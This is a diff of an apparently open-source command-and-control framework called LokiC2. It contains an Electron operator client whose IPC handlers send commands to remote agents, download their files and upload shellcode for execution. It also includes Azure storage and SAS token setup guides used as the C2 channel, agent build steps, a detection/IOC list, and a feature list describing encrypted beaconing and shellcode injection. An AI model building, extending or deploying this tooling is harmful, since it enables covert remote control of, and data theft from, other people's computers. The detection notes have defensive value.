|
||||
global.agentids.pop(agentid);
|
||||
}
|
||||
// global.agentwindows = 0;
|
||||
// global.agentids.length = 0;
|
||||
// agents.length = 0;
|
||||
//console.log(`IPC force-close : agentid : ${agentid}`);
|
||||
//containerWin.destroy(); // Force close after confirmation
|
||||
const agentWindow = global.agentWindowHandles[agentid];
|
||||
if (agentWindow) {
|
||||
agentWindow.destroy(); // Force close after confirmation
|
||||
delete global.agentWindowHandles[agentid]; // Remove from tracking
|
||||
global.agentwindows--;
|
||||
}
|
||||
console.log(`agentids : ${global.agentids}`);
|
||||
console.log(`agents.length : ${agents.length}`);
|
||||
console.log(`agentids.length : ${global.agentids.length}`);
|
||||
console.log(`agentwindows : ${global.agentwindows}`);
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
async function createExplorerWindow(thisagent) {
|
||||
let this_agent = JSON.parse(thisagent);
|
||||
const ExplorerWin = new BrowserWindow({
|
||||
width: 1592,
|
||||
height: 1037,
|
||||
webPreferences: {
|
||||
contextIsolation: false,
|
||||
enableRemoteModule: true,
|
||||
nodeIntegration: true, // Enable Node.js integration in the renderer process
|
||||
},
|
||||
});
|
||||
console.log(`Agent Data : ${JSON.stringify(this_agent)}`);
|
||||
const container_blobs = await az.getContainerBlobs(this_agent.containerid,config);
|
||||
console.log(`${this_agent.containerid} container key blob : ${container_blobs['key']}`);
|
||||
const container_key = await az.getContainerAesKeys(this_agent.containerid,container_blobs['key'],config);
|
||||
let containerObject = new Container(this_agent.containerid,container_key,container_blobs);
|
||||
let agent = new Agent(this_agent.agentid,containerObject);
|
||||
|
||||
agent.container.blobs['key'] = container_blobs['key'];
|
||||
agent.container.blobs['checkin'] = container_blobs['checkin'];
|
||||
agent.container.blobs['in'] = container_blobs['in'];
|
||||
agent.container.blobs['out'] = container_blobs['out'];
|
||||
for (const key in agent.container.blobs) {
|
||||
if (agent.container.blobs.hasOwnProperty(key)) {
|
||||
console.log(`${key}: ${agent.container.blobs[key]}`);
|
||||
}
|
||||
}
|
||||
agent.container.key['key'] = container_key['key'];
|
||||
agent.container.key['iv'] = container_key['iv'];
|
||||
|
||||
let checkinData = await az.checkinContainer(agent.container.name, agent.container.key, agent.container.blobs,config);
|
||||
let agentObj = JSON.parse(checkinData);
|
||||
agentObj.agentid = agent.agentid;
|
||||
agentObj.containerid = agent.container.name;
|
||||
agentObj.key = agent.container.key['key'];
|
||||
agentObj.iv = agent.container.key['iv'];
|
||||
let startupdata = JSON.stringify(agentObj);
|
||||
|
||||
ExplorerWin.loadFile('explorer.html').then(() => {
|
||||
ExplorerWin.webContents.send('container-data', agent.container.name, agent.container.key, agent.container.blobs,startupdata);
|
||||
});
|
||||
// console.log(`Container window created for container: ${this_agent.containerid}`);
|
||||
// console.log(`Number of agent windows : ${global.agentwindows}`);
|
||||
|
||||
ExplorerWin.on('close', async (event) => {
|
||||
});
|
||||
}
|
||||
|
||||
// Open File Explorer at the Downloads Directory
|
||||
function openDownloadsExplorer() {
|
||||
shell.openPath(directories.downloadsDir);
|
||||
}
|
||||
|
||||
// Open File Explorer at the Downloads Directory
|
||||
function openAgentLogsExplorer() {
|
||||
shell.openPath(directories.logDir);
|
||||
}
|
||||
|
||||
// Function to Open Configuration Window
|
||||
function openConfigWindow() {
|
||||
const configWindow = new BrowserWindow({
|
||||
width: 500,
|
||||
height: 400,
|
||||
title: "Configuration",
|
||||
parent: win,
|
||||
modal: true,
|
||||
webPreferences: {
|
||||
contextIsolation: false,
|
||||
enableRemoteModule: true,
|
||||
nodeIntegration: true, // Allow Node.js access in the settings window
|
||||
},
|
||||
});
|
||||
configWindow.loadFile('settings.html');
|
||||
}
|
||||
|
||||
ipcMain.handle('updateagent', async (event, agentid,newcontainerid) => {
|
||||
try
|
||||
{
|
||||
const newcontainer_blobs = await az.getContainerBlobs(newcontainerid,config);
|
||||
console.log(`${newcontainerid} container key blob : ${newcontainer_blobs['key']}`);
|
||||
const container_key = await az.getContainerAesKeys(newcontainerid,newcontainer_blobs['key'],config);
|
||||
let checkinData = await az.checkinContainer(newcontainerid, container_key,newcontainer_blobs,config);
|
||||
let agentObj = JSON.parse(checkinData);
|
||||
agentObj.agentid = agentid;
|
||||
agentObj.containerid = newcontainerid;
|
||||
agentObj.key = container_key['key'];
|
||||
agentObj.iv = container_key['iv'];
|
||||
let startupdata = JSON.stringify(agentObj);
|
||||
|
||||
for (let i = 0; i < agents.length; i++) {
|
||||
if (agents[i].agentid === agentid)
|
||||
{
|
||||
JSON.stringify(agents[i]);
|
||||
// agents[i].window.setCheckin(agent.window.checkin);
|
||||
agents[i].container.name = newcontainerid;
|
||||
agents[i].BrowserWindow.webContents.send('container-data', newcontainerid, container_key, newcontainer_blobs,startupdata);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}catch(error)
|
||||
{
|
||||
console.log(`updateagent IPC kernel.js error : ${error} ${error.stack}`);
|
||||
}
|
||||
});
|
||||
|
||||
ipcMain.on('upload-client-command-to-input-channel', async (event, containerCmd) => {
|
||||
try {
|
||||
console.log(`Received IPC "upload-client-command-to-input-channel" with args: ${containerCmd}`);
|
||||
|
||||
let commandOutput = await az.uploadCommand(containerCmd, config);
|
||||
console.log(`Command output: ${commandOutput}`);
|
||||
|
||||
// Send the result back to the **calling renderer process** directly
|
||||
event.reply('command-output', commandOutput);
|
||||
} catch (error) {
|
||||
console.error('Error uploading command to Azure Blob Storage:', error);
|
||||
event.reply('command-output', `Error: ${error.message}`); // Send error response
|
||||
}
|
||||
});
|
||||
|
||||
ipcMain.on('pull-download-file', async (event, containerCmd, filename, blob) => {
|
||||
try {
|
||||
console.log(`[+] IpcMain pull-download-file`);
|
||||
console.log(`[+] config ${JSON.stringify(config)}`);
|
||||
if (filename.startsWith("'") && filename.endsWith("'")) {
|
||||
filename = filename.slice(1, -1);
|
||||
}
|
||||
if (filename.startsWith('"') && filename.endsWith('"')) {
|
||||
filename = filename.slice(1, -1);
|
||||
}
|
||||
let containerCommand = JSON.parse(containerCmd);
|
||||
let commandOutput = await az.pullDownloadFile(containerCmd,filename,blob,config);
|
||||
console.log(`kernel.js | after az.pullDownloadFile`);
|
||||
} catch (error) {
|
||||
console.error('Error uploading command to Azure Blob Storage:', error);
|
||||
}
|
||||
});
|
||||
|
||||
ipcMain.on('upload-file-to-blob', async (event, containerCmd, uploadfile, uploadblob) => {
|
||||
try {
|
||||
let containerCommand = JSON.parse(containerCmd);
|
||||
let commandOutput = await az.uploadFileToAzure(containerCmd, uploadblob, uploadfile,config);
|
||||
for (let i = 0; i < agents.length; i++) {
|
||||
if (agents[i].container.blobs['in'] === containerCommand.blobs['in'])
|
||||
{
|
||||
await agents[i].BrowserWindow.webContents.send('send-upload-command', containerCmd);
|
||||
}
|
||||
}
|
||||
} catch (error) {
|
||||
console.error('Error uploading command to Azure Blob Storage:', error);
|
||||
}
|
||||
});
|
||||
|
||||
ipcMain.on('upload-sc-to-blob', async (event, containerCmd, scfile, scblob) => {
|
||||
try {
|
||||
let containerCommand = JSON.parse(containerCmd);
|
||||
await az.uploadSCToAzure(containerCmd, scblob, scfile,config);
|
||||
for (let i = 0; i < agents.length; i++) {
|
||||
if (agents[i].container.blobs['in'] === containerCommand.blobs['in'])
|
||||
{
|
||||
await agents[i].BrowserWindow.webContents.send('send-upload-command', containerCmd);
|
||||
}
|
||||
}
|
||||
} catch (error) {
|
||||
console.error('Error uploading command to Azure Blob Storage:', error);
|
||||
}
|
||||
});
|
||||
|
||||
// Fetch container data and send it to the renderer process
|
||||
ipcMain.handle('preload-agents', async () => {
|
||||
let blobs = await az.preloadContainers(metaContainer,config);
|
||||
return blobs;
|
||||
});
|
||||
|
||||
// Fetch container data and send it to the renderer process
|
||||
ipcMain.handle('get-containers', async () => {
|
||||
let blobs = await az.listBlobsInContainer(metaContainer,config);
|
||||
//console.log(`IPC get-containers : agent checkin blobs : ${blobs}`);
|
||||
return blobs;
|
||||
});
|
||||
|
||||
ipcMain.handle('get-agent-checkin', async (event, agentid) => {
|
||||
let agentcheckin = await az.returnAgentCheckinInfo(metaContainer,agentid,config);
|
||||
return agentcheckin;
|
||||
});
|
||||
|
||||
ipcMain.on('open-container-window', async (event, thisagent) => {
|
||||
console.log(`IPC Open Container Window : ${thisagent}`);
|
||||
|
||||
let this_agent = JSON.parse(thisagent);
|
||||
let window_exists = false;
|
||||
if (global.agentwindows === 0)
|
||||
{
|
||||
global.agentids.length = 0;
|
||||
}
|
||||
|
||||
console.log(`agentids[] : ${global.agentids}`);
|
||||
if (!global.agentids.includes(this_agent.agentid)) {
|
||||
global.agentids.push(this_agent.agentid);
|
||||
console.log(`${this_agent.agentid} added to the array.`);
|
||||
} else {
|
||||
console.log(`${this_agent.agentid} already exists.`);
|
||||
window_exists = true;
|
||||
}
|
||||
|
||||
// console.log(`agentwindows : ${agentwindows}`);
|
||||
//console.log(`agents : ${JSON.stringify(agents)}`);
|
||||
// for (let i = 0; i < global.agentwindows; i++) {
|
||||
// console.log(`agent[${i}] : ${JSON.stringify(agents[i])}`);
|
||||
// console.log(`agent[${i}].agentid : ${agents[i].agentid}`);
|
||||
// console.log(`this_agent.agentid : ${this_agent.agentid}`);
|
||||
const agentWindow = global.agentWindowHandles[this_agent.agentid];
|
||||
if (global.agentWindowHandles[this_agent.agentid] !== undefined)
|
||||
{
|
||||
window_exists = true;
|
||||
console.log(`window exists`);
|
||||
// Check if window for this agent already exists
|
||||
if (agentWindow && !agentWindow.isDestroyed()) {
|
||||
agentWindow.focus(); // Bring existing window to front
|
||||
return;
|
||||
}
|
||||
}
|
||||
// }
|
||||
if (window_exists == false)
|
||||
{
|
||||
console.log(`Opening container window for container: ${this_agent.containerid}`);
|
||||
setTimeout(() => { createContainerWindow(thisagent) }, 1000); // Simulate some delay before closing
|
||||
}
|
||||
});
|
||||
|
||||
ipcMain.on('execute-command', (event, command) => {
|
||||
console.log(`Executing command: ${command}`);
|
||||
// Execute the command here and send the result back to the console window
|
||||
const result = `Executed command: ${command}`;
|
||||
event.sender.send('command-result', result);
|
||||
});
|
||||
|
||||
app.whenReady().then(() => {
|
||||
console.log('App is ready');
|
||||
createDashboardWindow();
|
||||
// Create Application Menu
|
||||
const menu = Menu.buildFromTemplate([
|
||||
{
|
||||
label: 'View',
|
||||
submenu: [
|
||||
{
|
||||
label: 'Configuration',
|
||||
click: () => {
|
||||
openConfigWindow();
|
||||
}
|
||||
},
|
||||
{
|
||||
label: 'Downloads',
|
||||
click: () => {
|
||||
openDownloadsExplorer();
|
||||
}
|
||||
},
|
||||
{
|
||||
label: 'Agent Logs',
|
||||
click: () => {
|
||||
openAgentLogsExplorer();
|
||||
}
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
label: 'Developer',
|
||||
submenu: [
|
||||
{
|
||||
label: 'Toggle Developer Tools',
|
||||
accelerator: 'CmdOrCtrl+Shift+I',
|
||||
click: () => {
|
||||
const focusedWindow = BrowserWindow.getFocusedWindow();
|
||||
if (focusedWindow) {
|
||||
focusedWindow.webContents.toggleDevTools();
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
role: 'reload'
|
||||
}
|
||||
]
|
||||
}
|
||||
]);
|
||||
Menu.setApplicationMenu(menu);
|
||||
// Handle right-click context menu for table rows
|
||||
ipcMain.on('show-row-context-menu', (event, agentDataJSON) => {
|
||||
let agentData = JSON.parse(agentDataJSON);
|
||||
const agentid = agentData.agentid;
|
||||
const contextMenu = Menu.buildFromTemplate([
|
||||
{
|
||||
label: 'Remove',
|
||||
click: async () => {
|
||||
console.log(`IPC show-row-context-menu : AgentData : ${agentDataJSON}`);
|
||||
//console.log(`config : ${JSON.stringify(config)}`);
|
||||
//console.log(`agents.length = ${agents.length}`);
|
||||
// Send event to dashboard window to remove the table row
|
||||
const dashboardWindow = win;
|
||||
if (global.agentWindowHandles[agentid]) {
|
||||
console.log(`Closing window for agent ID: ${agentid}`);
|
||||
global.agentWindowHandles[agentid].destroy();
|
||||
delete global.agentWindowHandles[agentid]; // Remove reference to the closed window
|
||||
for (let i = 0; i < agents.length; i++) {
|
||||
if (agents[i].agentid === agentid)
|
||||
{
|
||||
console.log(`Before pop : global.agentids[] : ${global.agentids}`);
|
||||
agents.pop(agents[i]);
|
||||
global.agentids.pop(agentid);
|
||||
console.log(`After pop : global.agentids[] : ${global.agentids}`);
|
||||
}
|
||||
}
|
||||
global.agentwindows--;
|
||||
}
|
||||
if (dashboardWindow) {
|
||||
console.log(`dashboardWindow exists`);
|
||||
console.log(`calling IPC remove-table row for ${agentid} agent`);
|
||||
dashboardWindow.webContents.send('remove-table-row', agentid);
|
||||
}
|
||||
let container_blobs = await az.getContainerBlobs(agentData.containerid,config);
|
||||
//console.log(`container_blobs : ${JSON.stringify(container_blobs)}`);
|
||||
let container_key = await az.getContainerAesKeys(agentData.containerid,container_blobs['key'],config);
|
||||
//console.log(`container_key : ${JSON.stringify(container_key)}`);
|
||||
if (container_blobs != false && container_key)
|
||||
{
|
||||
try
|
||||
{
|
||||
await az.DeleteStorageContainer( agentData.containerid, config );
|
||||
await az.DeleteStorageBlob( config.metaContainer, agentData.agentid, config );
|
||||
//console.log(`agents : ${JSON.stringify(agents)}`);
|
||||
if (dashboardWindow) {
|
||||
console.log(`dashboardWindow exists`);
|
||||
console.log(`calling IPC remove-table row for ${agentid} agent`);
|
||||
dashboardWindow.webContents.send('remove-table-row', agentid);
|
||||
}
|
||||
}catch(error)
|
||||
{
|
||||
console.log(`Remove error : ${error} ${error.stack}`);
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
label: 'Explorer',
|
||||
click: () => {
|
||||
console.log(`Explorer clicked for agent ID: ${agentid}`);
|
||||
createExplorerWindow(agentDataJSON);
|
||||
// Implement the logic for Explorer option here
|
||||
}
|
||||
}
|
||||
]);
|
||||
contextMenu.popup(BrowserWindow.fromWebContents(event.sender));
|
||||
});
|
||||
// Right-click Context Menu
|
||||
ipcMain.on('show-context-menu', (event) => {
|
||||
const contextMenu = Menu.buildFromTemplate([
|
||||
{ label: 'Undo', role: 'undo' },
|
||||
{ label: 'Redo', role: 'redo' },
|
||||
{ type: 'separator' },
|
||||
{ label: 'Cut', role: 'cut' },
|
||||
{ label: 'Copy', role: 'copy' },
|
||||
{ label: 'Paste', role: 'paste' },
|
||||
{ type: 'separator' },
|
||||
{ label: 'Select All', role: 'selectAll' }
|
||||
]);
|
||||
contextMenu.popup(BrowserWindow.fromWebContents(event.sender));
|
||||
});
|
||||
|
||||
// Fix for macOS Clipboard Shortcuts
|
||||
ipcMain.on('copy', async (event) => {
|
||||
const focusedWindow = BrowserWindow.getFocusedWindow();
|
||||
if (focusedWindow) {
|
||||
const selectedText = await focusedWindow.webContents.executeJavaScript('window.getSelection().toString()');
|
||||
clipboard.writeText(selectedText);
|
||||
}
|
||||
});
|
||||
|
||||
ipcMain.on('cut', async (event) => {
|
||||
const focusedWindow = BrowserWindow.getFocusedWindow();
|
||||
if (focusedWindow) {
|
||||
const selectedText = await focusedWindow.webContents.executeJavaScript('window.getSelection().toString()');
|
||||
clipboard.writeText(selectedText);
|
||||
focusedWindow.webContents.executeJavaScript('document.execCommand("cut")');
|
||||
}
|
||||
});
|
||||
|
||||
ipcMain.on('paste', (event) => {
|
||||
const focusedWindow = BrowserWindow.getFocusedWindow();
|
||||
if (focusedWindow) {
|
||||
focusedWindow.webContents.paste();
|
||||
}
|
||||
});
|
||||
|
||||
ipcMain.on('update-config', (event, newConfig) => {
|
||||
//const configPath = path.join(__dirname, 'config.js');
|
||||
const configPath = directories.configFilePath;
|
||||
fs.writeFileSync(configPath, `module.exports = ${JSON.stringify(newConfig, null, 4)};`);
|
||||
console.log("Configuration updated:", newConfig);
|
||||
config = newConfig;
|
||||
metaContainer = config.metaContainer;
|
||||
});
|
||||
});
|
||||
|
||||
app.on('window-all-closed', () => {
|
||||
app.quit();
|
||||
});
|
||||
|
||||
app.on('activate', () => {
|
||||
if (BrowserWindow.getAllWindows().length === 0) {
|
||||
createDashboardWindow();
|
||||
}
|
||||
});
|
||||
@@ -0,0 +1,153 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Settings</title>
|
||||
<style>
|
||||
* {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
box-sizing: border-box;
|
||||
font-family: Arial, sans-serif;
|
||||
}
|
||||
body {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
height: 100vh;
|
||||
background: #1e1e1e; /* Dark background for contrast */
|
||||
color: #fff;
|
||||
}
|
||||
.container {
|
||||
width: 80%;
|
||||
max-width: 600px;
|
||||
background: rgba(30, 30, 30, 0.9);
|
||||
padding: 20px;
|
||||
border-radius: 10px;
|
||||
box-shadow: 0 0 10px rgba(255, 255, 255, 0.2);
|
||||
}
|
||||
h1 {
|
||||
text-align: center;
|
||||
margin-bottom: 20px;
|
||||
font-size: 24px;
|
||||
}
|
||||
label {
|
||||
display: block;
|
||||
margin: 10px 0 5px;
|
||||
font-weight: bold;
|
||||
}
|
||||
input {
|
||||
width: 100%;
|
||||
padding: 10px;
|
||||
font-size: 16px;
|
||||
border: 1px solid #555;
|
||||
border-radius: 5px;
|
||||
background: #2e2e2e;
|
||||
color: #fff;
|
||||
}
|
||||
.button-group {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
margin-top: 20px;
|
||||
}
|
||||
button {
|
||||
width: 48%;
|
||||
padding: 12px;
|
||||
font-size: 16px;
|
||||
border: none;
|
||||
border-radius: 5px;
|
||||
cursor: pointer;
|
||||
transition: background 0.3s ease;
|
||||
}
|
||||
.save-btn {
|
||||
background: #007bff;
|
||||
color: white;
|
||||
}
|
||||
.save-btn:hover {
|
||||
background: #0056b3;
|
||||
}
|
||||
.cancel-btn {
|
||||
background: #dc3545;
|
||||
color: white;
|
||||
}
|
||||
.cancel-btn:hover {
|
||||
background: #a71d2a;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<h1>Configuration</h1>
|
||||
<form id="configForm">
|
||||
<label>Storage Account:</label>
|
||||
<input type="text" id="storageAccount">
|
||||
|
||||
<label>Meta Container:</label>
|
||||
<input type="text" id="metaContainer">
|
||||
|
||||
<label>SAS Token:</label>
|
||||
<input type="text" id="sasToken">
|
||||
|
||||
<div class="button-group">
|
||||
<button type="submit" class="save-btn">Save</button>
|
||||
<button type="button" class="cancel-btn" id="cancelButton">Cancel</button>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
const { ipcRenderer } = require('electron');
|
||||
|
||||
// Load the current config
|
||||
//const config = require('./config');
|
||||
const { getAppDataDir } = require('./common');
|
||||
const directories = getAppDataDir();
|
||||
let config = require(directories.configFilePath);
|
||||
document.getElementById('storageAccount').value = config.storageAccount;
|
||||
document.getElementById('metaContainer').value = config.metaContainer;
|
||||
document.getElementById('sasToken').value = config.sasToken;
|
||||
|
||||
// Handle form submission
|
||||
document.getElementById('configForm').addEventListener('submit', (event) => {
|
||||
event.preventDefault();
|
||||
const updatedConfig = {
|
||||
storageAccount: document.getElementById('storageAccount').value,
|
||||
metaContainer: document.getElementById('metaContainer').value,
|
||||
sasToken: document.getElementById('sasToken').value
|
||||
};
|
||||
|
||||
ipcRenderer.send('update-config', updatedConfig);
|
||||
alert('Configuration Updated');
|
||||
window.close();
|
||||
});
|
||||
|
||||
// Handle cancel button
|
||||
document.getElementById('cancelButton').addEventListener('click', () => {
|
||||
window.close();
|
||||
});
|
||||
|
||||
// Enable macOS shortcuts (`Cmd+C`, `Cmd+V`) and Windows/Linux (`Ctrl+C`, `Ctrl+V`)
|
||||
document.addEventListener('keydown', function (event) {
|
||||
if ((event.ctrlKey || event.metaKey) && event.key === 'c') {
|
||||
ipcRenderer.send('copy');
|
||||
event.preventDefault();
|
||||
}
|
||||
if ((event.ctrlKey || event.metaKey) && event.key === 'v') {
|
||||
ipcRenderer.send('paste');
|
||||
event.preventDefault();
|
||||
}
|
||||
if ((event.ctrlKey || event.metaKey) && event.key === 'x') {
|
||||
ipcRenderer.send('cut');
|
||||
event.preventDefault();
|
||||
}
|
||||
});
|
||||
|
||||
// Right-click Context Menu
|
||||
window.addEventListener('contextmenu', function (event) {
|
||||
event.preventDefault();
|
||||
ipcRenderer.send('show-context-menu');
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,35 @@
|
||||
# Create Storage Account Using Azure Portal
|
||||
|
||||
Follow these steps to create a Storage Account and SAS Token via the Azure Portal.
|
||||
|
||||
## 🛠 Step 1: Create a Storage Account
|
||||
1. Go to the Azure Portal.
|
||||
2. Navigate to Storage accounts and click Create.
|
||||
3. Configure the following:
|
||||
- Subscription: Select your subscription.
|
||||
- Resource Group: Click Create new or select an existing one.
|
||||
- Storage Account Name: Enter a unique name (e.g., 7200727c985343598e3646).
|
||||
- Redundancy: Locally Redundant Storage (LRS).
|
||||
4. Click Review + Create, then Create.
|
||||
|
||||
## 🔑 Step 2: Generate a SAS Token
|
||||
1. Go to Storage accounts in the Azure Portal.
|
||||
2. Click on your storage account (mystorageaccount12345).
|
||||
3. In the left menu, select Shared Access Signature.
|
||||
4. Configure:
|
||||
- Permissions: Check all (Read, Write, Delete, List, Add, Create, Update, Process).
|
||||
- Allowed Services: Select Blob, Queue, Table.
|
||||
- Allowed Resource Types: Select Service, Container, Object.
|
||||
- Expiry Date: Set to 3 months from today.
|
||||
- Protocol: Choose HTTPS only.
|
||||
5. Click Generate SAS and connection string.
|
||||
6. Copy the SAS Token and Blob Service SAS URL.
|
||||
|
||||
## Step 3: Edit the Client and Agent Config Files
|
||||
1. Copy your storage bin domain and SAS token value.
|
||||
2. Modify `/agent/config.js` and `/client/config.js` to have the storage domain and SAS token.
|
||||
|
||||
## 🎯 Final Notes
|
||||
- The SAS token provides full access to the storage account.
|
||||
- If your payload is reversed they will be able to use the SAS token to read the C2 channels, provided they also have the AES key.
|
||||
|
||||
@@ -0,0 +1,75 @@
|
||||
# 🚀 How to Create an Azure Storage Account and Generate a SAS Token
|
||||
|
||||
This guide provides step-by-step instructions for creating an **Azure Storage Account** and generating a **Shared Access Signature (SAS) token** with **full permissions** that expires in **3 months**.
|
||||
|
||||
## **📌 Option 1: Using Azure CLI**
|
||||
### **Prerequisites**
|
||||
Before you begin, ensure you have:
|
||||
- **Azure CLI** installed: [Installation Guide](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli)
|
||||
- **Logged in to Azure** using the command:
|
||||
```sh
|
||||
az login
|
||||
```
|
||||
|
||||
Set the correct subscription (if applicable):
|
||||
```
|
||||
az account set --subscription "<SUBSCRIPTION_ID>"
|
||||
```
|
||||
🛠 Step 1: Create a Resource Group
|
||||
A resource group is required to organize Azure resources.
|
||||
|
||||
```
|
||||
az group create --name MyResourceGroup --location eastus
|
||||
```
|
||||
Replace MyResourceGroup with your preferred name.
|
||||
|
||||
🗂 Step 2: Create the Storage Account
|
||||
Run the following command:
|
||||
|
||||
```
|
||||
az storage account create \
|
||||
--name mystorageaccount12345 \
|
||||
--resource-group MyResourceGroup \
|
||||
--location eastus \
|
||||
--sku Standard_LRS \
|
||||
--kind StorageV2 \
|
||||
--access-tier Hot
|
||||
```
|
||||
- Replace mystorageaccount12345 with a unique name.
|
||||
- Standard_LRS is the redundancy type.
|
||||
|
||||
🔑 Step 3: Generate a SAS Token
|
||||
Retrieve the Storage Account Key:
|
||||
|
||||
```
|
||||
az storage account keys list \
|
||||
--account-name mystorageaccount12345 \
|
||||
--resource-group MyResourceGroup \
|
||||
--query "[0].value" --output tsv
|
||||
```
|
||||
|
||||
Copy the key value.
|
||||
|
||||
Create a SAS Token that expires in 3 months with all permissions:
|
||||
|
||||
```
|
||||
az storage account generate-sas \
|
||||
--permissions rwdlacup \
|
||||
--account-name mystorageaccount12345 \
|
||||
--services bqt \
|
||||
--resource-types sco \
|
||||
--expiry $(date -u -d "3 months" '+%Y-%m-%dT%H:%MZ') \
|
||||
--https-only
|
||||
```
|
||||
|
||||
- This generates a SAS token valid for:
|
||||
|
||||
- Blobs (b), Queues (q), and Tables (t)
|
||||
- Service (s), Container (c), and Object (o)
|
||||
- All permissions: Read (r), Write (w), Delete (d), List (l), Add (a), Create (c), Update (u), Process (p)
|
||||
|
||||
- Copy the SAS Token and append it to your Storage Account URL:
|
||||
|
||||
```
|
||||
https://mystorageaccount12345.blob.core.windows.net/?<SAS_TOKEN>
|
||||
```
|
||||
@@ -0,0 +1,13 @@
|
||||
|
||||
sudo apt update && sudo apt upgrade -y
|
||||
sudo apt install -y curl build-essential libgtk-3-dev libnss3 libasound2
|
||||
|
||||
sudo apt install -y nodejs npm
|
||||
|
||||
npm install -g electron
|
||||
|
||||
cd `LokiC2/agent/`
|
||||
npm install --save-dev electron
|
||||
npm start
|
||||
npm install --save-dev electron-builder
|
||||
npm run build
|
||||
@@ -0,0 +1,36 @@
|
||||
# macOS Agent Build Instructions
|
||||
I don't recommend this unless you're going to figure out Script Jacking, but if you want to anyways heres how to compile the agent on macOS. Also without Script Jacking the agent will be unsigned and not distributable. Its possible to get it signed but that is not the purpose of this.
|
||||
|
||||
- Install Node JS
|
||||
```bash
|
||||
brew install node
|
||||
```
|
||||
|
||||
- Install Electron Globally
|
||||
```bash
|
||||
npm install -g electron
|
||||
```
|
||||
|
||||
- Build the agent and get the required node mondules from Node Package Manager
|
||||
```bash
|
||||
cd LokiC2/agent/
|
||||
npm install
|
||||
```
|
||||
|
||||
- Start the GUI client in devmode (Optional)
|
||||
```bash
|
||||
cd LokiC2/agent/
|
||||
npx electron .
|
||||
```
|
||||
|
||||
- Install the Electron Builder
|
||||
```bash
|
||||
cd LokiC2/agent/
|
||||
npm install --save-dev electron-builder
|
||||
```
|
||||
|
||||
- Build the GUI client app
|
||||
```bash
|
||||
npm run dist
|
||||
```
|
||||
- The `Loki C2 Agent.app` will be in `LokiC2/agent/dist/`
|
||||
@@ -0,0 +1,33 @@
|
||||
- Install Node JS
|
||||
```bash
|
||||
brew install node
|
||||
```
|
||||
|
||||
- Install Electron Globally
|
||||
```bash
|
||||
npm install -g electron
|
||||
```
|
||||
|
||||
- Build the client and get the required node mondules from Node Package Manager
|
||||
```bash
|
||||
cd LokiC2/client/
|
||||
npm install
|
||||
```
|
||||
|
||||
- Start the GUI client in devmode (Optional)
|
||||
```bash
|
||||
cd LokiC2/client/
|
||||
npx electron .
|
||||
```
|
||||
|
||||
- Install the Electron Builder
|
||||
```bash
|
||||
cd LokiC2/client/
|
||||
npm install --save-dev electron-builder
|
||||
```
|
||||
|
||||
- Build the GUI client app
|
||||
```bash
|
||||
npm run dist
|
||||
```
|
||||
- The `Loki C2 Client.app` will be in `LokiC2/client/dist/`
|
||||
@@ -0,0 +1,31 @@
|
||||
- Install Node JS
|
||||
- Go to [nodejs.org](https://nodejs.org) and download the latest version of Node.js for Windows.
|
||||
|
||||
- Install Electron Globally
|
||||
```bash
|
||||
npm install -g electron
|
||||
```
|
||||
|
||||
- Build the client and get the required node modules from Node Package Manager
|
||||
```bash
|
||||
cd LokiC2/client/
|
||||
npm install
|
||||
```
|
||||
|
||||
- Start the GUI client in devmode (Optional)
|
||||
```bash
|
||||
cd LokiC2/client/
|
||||
npx electron .
|
||||
```
|
||||
|
||||
- Install the Electron Builder
|
||||
```bash
|
||||
cd LokiC2/client/
|
||||
npm install --save-dev electron-builder
|
||||
```
|
||||
|
||||
- Build the GUI client app
|
||||
```bash
|
||||
npm run dist
|
||||
```
|
||||
- The `Loki C2 Client.exe` will be in `LokiC2/client/dist/`
|
||||
@@ -0,0 +1,14 @@
|
||||
# Detections
|
||||
- [LOLBAS Teams](https://lolbas-project.github.io/lolbas/OtherMSBinaries/Teams/)
|
||||
- [MITRE ATT&CK
|
||||
T1218.015: Electron Applications](https://attack.mitre.org/techniques/T1218/015/)
|
||||
- IOC: %LOCALAPPDATA%\Microsoft\Teams\current\app directory created
|
||||
- IOC: %LOCALAPPDATA%\Microsoft\Teams\current\app.asar file created/modified by non-Teams installer/updater
|
||||
- Execution of an electron app from a abnormal directory such as `~/Downloads/Teams/Teams.exe`
|
||||
- Electron apps beaconing to an Azure Storage Blob `*.blob.core.windows.net`
|
||||
- SAS token usage in network traffic
|
||||
- Electron apps spawning child processes such as `netstat.exe` or `whoami.exe`
|
||||
|
||||
# Acknowledgements:
|
||||
- Andrew Kisliakov
|
||||
- [mr.d0x (@mrd0x)](https://twitter.com/@mrd0x)
|
||||
@@ -0,0 +1,25 @@
|
||||
# Agent Features
|
||||
- Proxy-Aware
|
||||
- Leverages Chromiums proxy-aware capabilities to ride the systems configured proxy.
|
||||
- Each agent uses a dynamically genereted AES key (no static keys!).
|
||||
- C2 channel messages are AES and Base64 encoded.
|
||||
- Upload & download files are encrypted to their own Blobs.
|
||||
- `kernel.js` lives in the main Electron Chromium process.
|
||||
- Agents are spawned in child process Renderer windows.
|
||||
- If an agent dies do to an exception in the agent code, the Kernel will spawn a new child Renderer process that uses the same agent ID.
|
||||
- Inter Process Communications (IPC) is used to send messages between the Kernel and Agent processes.
|
||||
- Shellcode Execution _(Windows Agents Only)_
|
||||
- Node module created by [Dylan Tran](https://x.com/d_tranman)
|
||||
- The Kernel creates a Renderer process which will have its main thread control transferred to the sacraficial Renderer child process.
|
||||
- Shellcode is AES encrypted, uploaded to a blob, downloaded by the agent, sent to a new process where it is decrypted and executed.
|
||||
- Loads in a Node module into the sacraftical process
|
||||
- This requires a DLL load event of an unsigned DLL `scexec.node`.
|
||||
